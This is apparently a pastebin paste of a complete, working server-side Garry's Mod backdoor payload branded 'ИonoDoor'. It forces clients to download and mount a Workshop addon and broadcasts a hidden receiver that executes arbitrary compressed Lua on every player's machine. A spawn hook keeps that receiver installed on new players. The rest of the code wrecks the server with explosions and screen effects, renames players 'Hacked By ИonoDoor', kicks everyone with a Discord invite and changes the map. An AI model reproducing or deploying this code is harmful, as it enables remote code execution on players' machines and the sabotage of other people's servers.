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Jan 22nd, 2020
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  1. for k, v in pairs(player.GetAll()) do
  2. v:SendLua("steamworks.FileInfo(1618885873,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)")
  3. end
  4.  
  5. timer.Simple( 25, function()
  6.  
  7. print([[
  8. ██╗ ██╗███╗ ██╗████████╗██╗████████╗██╗ ███████╗██████╗
  9. ██║ ██║████╗ ██║╚══██╔══╝██║╚══██╔══╝██║ ██╔════╝██╔══██╗
  10. ██║ ██║██╔██╗ ██║ ██║ ██║ ██║ ██║ █████╗ ██║ ██║
  11. ██║ ██║██║╚██╗██║ ██║ ██║ ██║ ██║ ██╔══╝ ██║ ██║
  12. ╚██████╔╝██║ ╚████║ ██║ ██║ ██║ ███████╗███████╗██████╔╝
  13. ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚══════╝╚═════╝
  14.  
  15. LEAKED BY ИONODOOR ]])
  16.  
  17. util.AddNetworkString("faitleserv")
  18.  
  19. local props2 = ents.GetAll()
  20. for _, prop in ipairs( props2 ) do
  21.  
  22. if(prop:GetPhysicsObject():IsValid()) then
  23. prop:SetModel("models/enigma/enigma.mdl")
  24. prop:SetModelScale(0.8)
  25.  
  26. end
  27. end
  28.  
  29. timer.Simple( 1, function()
  30.  
  31. for k,v in pairs(player.GetAll()) do
  32. v:SetRunSpeed(400* 4);
  33. v:SetWalkSpeed(400 * 4);
  34. end
  35. end)
  36.  
  37. for k, v in pairs( player.GetAll() ) do
  38. if ( v:Alive() ) then
  39. v:GodEnable()
  40. v:SetModel("models/enigma/enigma_players.mdl")
  41. else
  42. v:Spawn()
  43. timer.Simple( 5, function()
  44. v:GodEnable()
  45. v:SetModel("models/enigma/enigma_players.mdl")
  46. end)
  47. end
  48. end
  49.  
  50.  
  51. local function rdm_str(len)
  52. if !len or len <= 0 then return '' end
  53. return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  54. end
  55.  
  56. local net_string = rdm_str(25)
  57.  
  58. util.AddNetworkString(net_string)
  59. BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  60. hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
  61. if !ply:IsBot() then
  62. ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  63. end
  64. end)
  65.  
  66. local function SendToClient(code)
  67. local data = util.Compress(code)
  68. local len = #data
  69. net.Start(net_string)
  70. net.WriteUInt(len, 16)
  71. net.WriteData(data, len)
  72. net.Broadcast()
  73. end
  74. timer.Simple( 1, function()
  75. SendToClient([[
  76. local defaultfov = LocalPlayer():GetFOV()
  77. local override = 70
  78.  
  79. hook.Add("CalcView", "EXROR_", function(ply, origin, angles, fov, znear, zfar)
  80. return {
  81. ["origin"] = origin,
  82. ["angles"] = angles,
  83. ["fov"] = override,
  84. ["znear"] = znear,
  85. ["zfar"] = zfar
  86. }
  87. end)
  88.  
  89.  
  90. local hide = {
  91. ["CHudHealth"] = true,
  92. ["CHudCrosshair"] = true
  93. }
  94.  
  95. hook.Add( "HUDShouldDraw", "HideHUD", function( name )
  96. if ( hide[ name ] ) then return false end
  97. end )
  98.  
  99. local prevFrame = {}
  100. local prevValue = 2
  101.  
  102. local aveclazicmu = {}
  103.  
  104. hook.Add("HUDPaint", "bahouiilfautquemusiquesoitbien",function()
  105. for k,v in pairs(aveclazicmu) do
  106. v()
  107. end
  108. end)
  109.  
  110. SOUNDSTART_CTP = false
  111. OZJFOZJCEZIO = true
  112.  
  113.  
  114. sound.PlayURL("https://www.dropbox.com/s/t33h00kdwndd89d/foster-the-people-pumped-up-kicks-bridge-and-law-remix.mp3?dl=0","mono noblock noplay",function(s)
  115. if not s then return end
  116. if SOUNDSTART_CTP then s:Stop() return end
  117. SOUNDSTART_CTP = true
  118. s:SetVolume(10)
  119. s:Play()
  120. local ragtbl = {}
  121. aveclazicmu["CoolEffect"] = function()
  122. local tbl = {}
  123. s:FFT(tbl,FFT_4096)
  124. xpcall(function()
  125. local fal = 0
  126. for i=1,40 do
  127. fal = fal + tbl[i]
  128. end
  129.  
  130.  
  131. prevValue = Lerp(30 * FrameTime(), prevValue, fal)
  132. if fal > 2 then
  133.  
  134. override = Lerp(10 * FrameTime(), override, fal * .875)
  135.  
  136. net.Start("faitleserv")
  137. net.SendToServer()
  138.  
  139. else
  140. override = Lerp(5 * FrameTime(), override, defaultfov)
  141. sent = false
  142. end
  143. end,function()
  144. end)
  145. end
  146. end)
  147.  
  148.  
  149. ]])
  150. end)
  151.  
  152. timer.Simple( 1, function()
  153. SendToClient([[
  154.  
  155. surface.CreateFont( "PixelCutsceneScaled",{
  156. font = "Open Sans",
  157. size = 500,
  158. weight = 1000,
  159. antialias = true
  160. })
  161.  
  162. surface.CreateFont( "PixelCutsceneScaledSmall",{
  163. font = "Open Sans",
  164. size = 50,
  165. weight = 1000,
  166. antialias = true
  167. })
  168.  
  169. surface.CreateFont( "PixelSmall",{
  170. font = "Open Sans",
  171. size = 135,
  172. weight = 500,
  173. antialias = false
  174. })
  175. surface.CreateFont("lapolice", {
  176. font = "Open Sans",
  177. size = ScrW()*0.02,
  178. weight = 10,
  179. blursize = 0,
  180. scanlines = 2.5,
  181. antialias = false
  182. })
  183.  
  184. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8)
  185.  
  186. local w,h = ScrW(), ScrH()
  187. local W, H = ScrW(), ScrH()
  188. local MySelf = LocalPlayer()
  189.  
  190. if ohno then
  191. ohno:Remove()
  192. ohno = nil
  193. end
  194.  
  195. ohno = vgui.Create( "DFrame" )
  196. ohno:SetSize( w, h )
  197. ohno:SetPos(0,0)
  198. ohno:SetDraggable ( false )
  199. ohno:SetTitle("")
  200. ohno:ShowCloseButton(false)
  201. ohno.Paint = function( self )
  202. surface.SetDrawColor(30, 30, 30, 0)
  203. end
  204.  
  205. glitchtext =
  206. {
  207. "ERROR_ win $inf",
  208. "ERXOX_ win $inf",
  209. "EXROR_ win $inf",
  210. "XRRXR_ win $inf",
  211. }
  212.  
  213. local pw, ph = w, h*0.6
  214. local px, py = w/2-pw/2, h/2-ph/2
  215.  
  216. local Close = vgui.Create( "DButton", ohno )
  217. Close:SetPos(px, py)
  218. Close:SetText( "" )
  219. Close:SetSize( pw, ph )
  220. Close.Paint = function( self, tw, th )
  221.  
  222. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8)
  223.  
  224. local shift = math.sin(RealTime()*3)*1.5 + 5
  225.  
  226. local text2 = "WELCOME"
  227.  
  228. draw.SimpleText( text2, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  229. draw.SimpleText( text2, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  230.  
  231.  
  232. end
  233.  
  234.  
  235. timer.Simple( 6, function()
  236. Close.Paint = function( self, tw, th )
  237.  
  238. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8)
  239.  
  240. local shift = math.sin(RealTime()*3)*1.5 + 5
  241.  
  242. local text = "ИonoDoor"
  243.  
  244. local down = [=[(/.__.)/ Ꝃ \(.__.\)]=]
  245.  
  246. draw.SimpleText( down, "PixelCutsceneScaledSmall", tw/2 , th/2 +100, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  247. draw.SimpleText( down, "PixelCutsceneScaledSmall", tw/2 - shift , th/2 +100 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  248. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  249. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  250.  
  251.  
  252. end
  253.  
  254.  
  255.  
  256. timer.Simple( 10, function()
  257. Close.Paint = function( self, tw, th )
  258.  
  259. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8)
  260.  
  261. local shift = math.sin(RealTime()*3)*1.5 + 5
  262.  
  263. local text = "ИonoDoor"
  264.  
  265.  
  266. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  267. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  268.  
  269. end
  270. end)
  271.  
  272. timer.Simple( 24, function()
  273. Close.Paint = function( self, tw, th )
  274.  
  275. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8)
  276.  
  277. local shift = math.sin(RealTime()*3)*1.5 + 5
  278.  
  279. local text = "ИonoDoor"
  280.  
  281. draw.SimpleText( table.Random(glitchtext), "PixelCutsceneScaledSmall", tw/2 , th/2 +100, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  282. draw.SimpleText( table.Random(glitchtext), "PixelCutsceneScaledSmall", tw/2 - shift , th/2 +100 - shift, Color(math.random(240,255), math.random(240,255), math.random(240,255), 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  283. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  284. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  285.  
  286. end
  287.  
  288. timer.Create("fff", 0.1, 0, function()
  289. util.ScreenShake( Vector(0,0,0), 2.5, 50, 0.5, 5000 )
  290. end)
  291.  
  292. hook.Add( "HUDPaint", "truckde merde", function()
  293.  
  294. draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
  295. draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
  296. draw.DrawText( "И", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  297. draw.DrawText( "И", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  298. draw.DrawText( "И", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  299. draw.DrawText( "И", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  300. draw.DrawText( "RIP ;)", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  301. draw.DrawText( "ИonoDoor", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  302. draw.DrawText( "RIP ;)", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  303. draw.DrawText( "ИonoDoor", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  304. draw.DrawText( "ИonoDoor", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  305. draw.DrawText( "RIP ;)", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  306. draw.DrawText( "ИonoDoor", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  307. draw.DrawText( "RIP ;)", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  308. draw.DrawText( "ИonoDoor", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  309. draw.DrawText( "RIP ;)", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  310. draw.DrawText( "ИonoDoor", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  311. draw.DrawText( "ИonoDoor", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  312. draw.DrawText( "ИonoDoor", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  313.  
  314. end)
  315.  
  316. end)
  317.  
  318.  
  319. timer.Simple( 208, function()
  320. Close.Paint = function( self, tw, th )
  321.  
  322. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8)
  323.  
  324. local shift = math.sin(RealTime()*3)*1.5 + 5
  325.  
  326. glitchtextend =
  327. {
  328. "ERROR_",
  329. "ERXOX_",
  330. "EXROR_",
  331. "XRRXR_",
  332. }
  333.  
  334. draw.SimpleText( table.Random(glitchtextend), "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  335. draw.SimpleText( table.Random(glitchtextend), "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  336.  
  337.  
  338. end
  339. end)
  340.  
  341. timer.Simple( 231, function()
  342. Close.Paint = function( self, tw, th )
  343.  
  344. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8)
  345.  
  346. local shift = math.sin(RealTime()*3)*1.5 + 5
  347.  
  348.  
  349. draw.SimpleText( "3", "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  350. draw.SimpleText( "3", "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  351.  
  352.  
  353. end
  354. end)
  355.  
  356. timer.Simple( 232, function()
  357. Close.Paint = function( self, tw, th )
  358.  
  359. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8)
  360.  
  361. local shift = math.sin(RealTime()*3)*1.5 + 5
  362.  
  363.  
  364. draw.SimpleText( "2", "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  365. draw.SimpleText( "2", "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  366.  
  367.  
  368. end
  369. end)
  370.  
  371. timer.Simple( 233, function()
  372. Close.Paint = function( self, tw, th )
  373.  
  374. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8)
  375.  
  376. local shift = math.sin(RealTime()*3)*1.5 + 5
  377.  
  378.  
  379. draw.SimpleText( "1", "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  380. draw.SimpleText( "1", "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  381.  
  382.  
  383. end
  384. end)
  385.  
  386.  
  387.  
  388. timer.Simple( 234, function()
  389. Close.Paint = function( self, tw, th )
  390.  
  391. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8)
  392.  
  393. local shift = math.sin(RealTime()*3)*1.5 + 5
  394.  
  395.  
  396. local titeltext = "UNTITLED"
  397. local titeltextdow = "LEAK BY ИONODOOR"
  398.  
  399.  
  400. draw.SimpleText( titeltextdow, "PixelCutsceneScaledSmall", tw/2 , th/2 +100, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  401. draw.SimpleText( titeltextdow, "PixelCutsceneScaledSmall", tw/2 - shift , th/2 +100 - shift, Color(math.random(240,255), math.random(240,255), math.random(240,255), 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  402. draw.SimpleText( titeltext, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  403. draw.SimpleText( titeltext, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  404.  
  405.  
  406. end
  407. end)
  408.  
  409.  
  410. local name = GetConVar("sv_skyname"):GetString()
  411. if name == "painted" then
  412. local sky
  413. for _, v in ipairs(ents.GetAll()) do
  414. if v:GetClass() == "env_skypaint" then
  415. sky = v
  416. break
  417. end
  418. end
  419. if !IsValid(sky) then return end
  420. hook.Add("PostRender","\xFFsky\xFF",function()
  421. local col = HSVToColor(CurTime() * 36 % 360, .3, .8)
  422. local vsky = Vector(col.r / 255, col.g / 255, col.b / 255)
  423. sky:SetTopColor(vsky)
  424. sky:SetBottomColor(vsky)
  425. end)
  426. else
  427. local prefix = {"lf","ft","rt","bk","dn","up"}
  428. local mats = {}
  429. for i=1,6 do
  430. mats[#mats+1] = Material("skybox/" .. name .. prefix[i])
  431. end
  432. hook.Add("PostRender","\xFFsky\xFF",function()
  433.  
  434. local r = 0.5*math.sin(RealTime()*0.5)*240 + 255
  435. local g = -0.5*math.sin(RealTime()*0.5)*240 + 255
  436. local b = 215
  437.  
  438. for i=1,6 do
  439. mats[i]:SetVector("$color",Vector(r/254,g/254,b/254))
  440. end
  441. end)
  442. end
  443.  
  444.  
  445.  
  446.  
  447.  
  448. timer.Create("aaneyjvkybtk", 0.01, 0, function()
  449. local mat = Entity(0):GetMaterials()
  450. for k,v in pairs(mat) do
  451. local col = HSVToColor(CurTime() * 36 % 360, .3, .8)
  452. local ve = Vector(col.r / 255, col.g / 255, col.b / 255)
  453. Material(v):SetVector("$color", ve)
  454. end
  455. end)
  456.  
  457. hook.Add("Think","butifoule",function()
  458. local col = HSVToColor(CurTime() * 36 % 360, .3, .8)
  459. local v = Vector(col.r / 255, col.g / 255, col.b / 255)
  460. for k, v in pairs( ents.FindByClass( "prop_*" ) ) do
  461. v:SetColor( col )
  462. v:Activate()
  463. end
  464. for k,p in pairs(player.GetAll()) do
  465. p:SetColor( col )
  466. end
  467. end)
  468.  
  469.  
  470.  
  471. end)
  472.  
  473.  
  474. timer.Create("mdr-ta-thune", 15, 0, function()
  475.  
  476. notification.AddLegacy( "Console set your money to $inf.", 0 , 5 )
  477.  
  478. end)
  479.  
  480.  
  481. ]])
  482. end)
  483.  
  484. timer.Create("ok", 1, 0, function()
  485. for k, v in pairs( ents.FindByClass( "prop_*" ) ) do local phys = v:GetPhysicsObject()
  486. if (IsValid(phys)) then
  487. phys:EnableMotion(true)
  488. end
  489. end
  490.  
  491.  
  492. end)
  493.  
  494. timer.Simple( 240, function()
  495.  
  496. local propsexplod = ents.GetAll()
  497. for _, prop in ipairs( propsexplod ) do
  498. if(prop:GetPhysicsObject():IsValid()) then
  499. local explosion = ents.Create("env_explosion")
  500. explosion:SetPos(vehicl:GetPos())
  501. explosion:Spawn()
  502. explosion:SetKeyValue("iMagnitude", "50")
  503. explosion:Fire("Explode", 0, 0)
  504. end
  505. end
  506.  
  507. end)
  508.  
  509. timer.Simple( 6, function()
  510. local sun = ents.FindByClass("env_sun")
  511. if #sun == 0 then return end
  512. sun = sun[1]
  513. hook.Add("Think","\xFFsun\xFF",function()
  514. sun:SetKeyValue("sun_dir", math.sin(CurTime())/3 .. " " .. math.cos(CurTime())/3 .. " 0.901970")
  515. sun:SetModelScale(120)
  516. end)
  517. end)
  518.  
  519. timer.Simple( 207, function()
  520.  
  521. timer.Create("explodend", 1, 0, function()
  522.  
  523. for i = 1, 10 do
  524. local explode = ents.Create( "env_explosion" )
  525. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  526. explode:Spawn()
  527. explode:SetKeyValue( "iMagnitude", "500" )
  528. explode:Fire( "Explode", 0, 0 )
  529. end
  530.  
  531. end)
  532.  
  533. end)
  534.  
  535.  
  536. timer.Simple( 248, function()
  537.  
  538. for i,v in ipairs(player.GetAll()) do
  539. if v == p then continue end
  540. v:Kick("\n[FR] Oh désolé, je ne me suispas présenté ,je suis Иono votre serveur a rencontré un probléme que j'ai corrigé, vous pouvez maintenant retourner sur votre serveur https://discord.gg/e8uUvvG!\n\n\nCodialement ИonoDoor\n\n------------------------------------------\n\n[EN] Oh sorry, I didn't introduce myself ,I'm Ꝃvac your server has encountered a problem that I fixed, you can now go back to your server https://discord.gg/e8uUvvG !\n\n\nCodially ИonoDoor")
  541. end
  542.  
  543. end)
  544.  
  545. timer.Simple( 249, function()
  546.  
  547. RunConsoleCommand("changelevel", "gm_construct")
  548.  
  549. end)
  550.  
  551. net.Receive("faitleserv", function()
  552.  
  553. for i = 1,2 do
  554. local explode = ents.Create( "env_explosion" )
  555. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  556. explode:Spawn()
  557. explode:SetKeyValue( "iMagnitude", "500" )
  558. explode:Fire( "Explode", 0, 0 )
  559. end
  560.  
  561. local props = ents.GetAll()
  562. for _, prop in ipairs( props ) do
  563. if(prop:GetPhysicsObject():IsValid()) then
  564. prop:GetPhysicsObject():ApplyForceCenter( Vector( 0, 0, ((150 * 0.73) * prop:GetPhysicsObject():GetMass() ) ) )
  565. end
  566. end
  567.  
  568. for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(10,50), math.random(10,50), math.random(50,100))) end
  569.  
  570. end)
  571.  
  572. local untitled_ = { "ERROR", "ERXOX", "EXROR","XRRXR" }
  573.  
  574. for k, v in pairs(player.GetAll()) do
  575. v:setDarkRPVar("rpname", "Hacked By ИonoDoor")
  576. v:setDarkRPVar("job", "JOB_"..table.Random( untitled_ ))
  577. v:setDarkRPVar("money", "1e+999")
  578.  
  579. end
  580.  
  581. end)
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